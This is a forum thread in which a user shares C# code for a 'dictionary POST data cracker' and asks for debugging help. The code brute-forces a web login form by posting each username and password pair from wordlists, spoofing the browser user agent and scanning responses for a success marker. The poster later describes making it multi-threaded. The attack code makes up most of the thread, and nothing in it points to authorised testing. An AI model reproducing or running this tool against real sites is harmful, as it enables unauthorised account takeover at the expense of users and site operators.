Results 1 to 4 of 4

Thread: Need a bit of help on this...C# Share/Save - My123World.Com!

  1. #1

    Need a bit of help on this...C#

    Alright, I have looked everywhere trying to figure this out...I'm not entirely sure what the problem is to be honest. I will paste the code below then explain what is going wrong.


    Form1.cs
    Code:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Web;
    using System.Net;
    using System.IO;
    using System.Collections;
    using System.Diagnostics;
    using System.Timers;
    using System.Threading.Tasks;
    using System.Text.RegularExpressions;
    
    namespace WindowsFormsApplication1
    {
        public partial class Form1 : Form
        {
            string result;
            string[] results;
            Random ranx = new Random();
            Random rany = new Random();
            CrackLog clog = new CrackLog();
    
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                Crack();
            }
    
            private void Crack()
            {
                for (int i = listBox1.TopIndex; i < listBox1.Items.Count; i++)
                {
                    listBox1.SelectedIndex = i;
                    for (int y = listBox2.TopIndex; y < listBox2.Items.Count; y++)
                    {
                        bool cracked;
                        listBox2.SelectedIndex = y;
                        cracked = clog.Crack(listBox1.Items[i].ToString(), listBox2.Items[y].ToString());
    
                        if (cracked)
                        {
                            listBox3.Items.Add(listBox1.Items[i].ToString() + ":" + listBox2.Items[y].ToString());
                        }
                    }
                }
            }
    
            private string Post3(string url, string data)
            {
                WebClient client = new WebClient();
    
                string res = "-1";
                // set the user agent to IE6
                client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705;)");
                client.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
                try
                {
                    res = client.UploadString(url, "POST", data);
                }
                catch (WebException we)
                {
                    // WebException.Status holds useful information
                    Console.WriteLine(we.Message + "\n" + we.Status.ToString());
                }
                catch (NotSupportedException ne)
                {
                    // other errors
                    Console.WriteLine(ne.Message);
                }
                client.Dispose();
                return res;
            }
    
            private void button2_Click(object sender, EventArgs e)
            {
                openFileDialog1.ShowDialog();
                StreamReader nameReader = new StreamReader(openFileDialog1.FileName);
    
                string names = nameReader.ReadToEnd();
                nameReader.Close();
                string[] names2 = names.Split('\n');
                names = null;
    
                foreach (string s in names2)
                {
                    listBox1.Items.Add(s);
                }
                System.Array.Clear(names2, 0, names2.Count());
            }
    
            private void button3_Click(object sender, EventArgs e)
            {
                openFileDialog2.ShowDialog();
                StreamReader passReader = new StreamReader(openFileDialog2.FileName);
    
                string passes = passReader.ReadToEnd();
                passReader.Close();
                string[] passes2 = passes.Split('\n');
                passes = null;
    
                foreach (string s in passes2)
                {
                    listBox2.Items.Add(s);
                }
                System.Array.Clear(passes2, 0, passes2.Count());
            }
    
            private void button4_Click(object sender, EventArgs e)
            {
                bool c = clog.Crack("known", "towork");
    
    
                    if (c)
                    {
                        textBox1.Text = "Yay!";
                    }
                    else
                    {
                        textBox1.Text = "Nope." + "\n";
                    }
    
            }
    
        }
    }

    CrackLog.cs
    Code:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Web;
    using System.Net;
    using System.IO;
    using System.Collections;
    using System.Diagnostics;
    using System.Timers;
    using System.Threading.Tasks;
    using System.Text.RegularExpressions;
    
    namespace WindowsFormsApplication1
    {
        public class CrackLog
        {
            public bool done;
            Random ranx = new Random();
            Random rany = new Random();
    
            public bool Crack(string name, string password)
            {
                string result;
                //textBox1.Text += curname + ":" + curpass;
                result = Post3(new StringBuilder().Append("name=").Append(name).Append("&password=").Append(password).Append("&submit.x=").Append(ranx.Next(247).ToString()).Append("&submit.y=").Append(rany.Next(87).ToString()).Append("&submit=Submit&process-authentication=true").ToString());
    
                if (result.Contains("nce:"))
                {
                    return true;
                }
    
                return false;
                
            }
    
            public string Post3(string data)
            {
                WebClient client = new WebClient();
    
                //client.UploadStringCompleted += new UploadStringCompletedEventHandler(client_UploadStringCompleted);
    
                // set the user agent to IE6
                client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705;)");
                client.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
                try
                {
                    return client.UploadString(new Uri("http://url.to.server/blah/index.jsp"), "POST", data);
                }
                catch (WebException we)
                {
                    // WebException.Status holds useful information
                    Console.WriteLine(we.Message + "\n" + we.Status.ToString());
                }
                catch (NotSupportedException ne)
                {
                    // other errors
                    Console.WriteLine(ne.Message);
                }
    
                return "-1";
            }
        }
    }
    Ok, so what I am trying to make is a dictionary POST data cracker, it cycles through a list of names and passwords, sending the POST data for each one and returning the result, I then check the result for a string that matches a successful login, if it finds it the Crack() function returns true if it doesn't it returns false.

    Now, this does work, I have a button that does a single try with a known working name and password, and it returns true, if i take a letter off the password it returns false, perfect...well not really...when put into a loop it doesn't work at all, it will simply skip over the known name and password combination.

    So, if anyone could provide any help and/or theories on why this may be I would greatly appreciate it...I WAS thinking that perhaps the "client.UploadString" function worked on a different thread or something and the loop was running through it before it returned a result, but reading up on it, it shouldn't run on a seperate thread, although I have no answers as to why it would work with a single control attempt but not work with many back to back.

  2. #2
    Alright, I figured it out...seems the problem was in the way I was parsing names/passwords from text files.

  3. #3
    ... I am no Expert b0nd.g4h@gmail.com b0nd's Avatar
    Join Date
    Jul 2010
    Location
    irc.freenode.net #g4h
    Posts
    744
    Gr8 that you figured it out yourself! and my apologies that could not render help as I don't understand C#.


    Rgds
    [*] To follow the path: look to the master, follow the master, walk with the master, see through the master,
    ------> become the master!!! <------
    [*] Everyone has a will to WIN but very few have the will to prepare to WIN
    [*] Invest yourself in everything you do, there's fun in being serious

  4. #4
    Quote Originally Posted by b0nd View Post
    Gr8 that you figured it out yourself! and my apologies that could not render help as I don't understand C#.


    Rgds
    No worries, It's the thought that counts.

    I'm still unsure why the way I did it wasn't working...very strange behavior. Loading the strings into an array and reading them works fine...Loading them into a listbox and reading them however, does not, even though both results look exactly the same when written back to a text file.

    I scrapped the form after figuring it out and instead made a console version that supports multi-threading, basically you input a number of threads, it splits the number of names up and and each thread starts at a different index and works through it's assigned number of names.

    It it still painfully slow considering I'm requesting the entire page, assigning it to a string, then searching through the entire page's source for the distinct sign of a good login. I suppose it is mostly bandwidth slowing this down.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •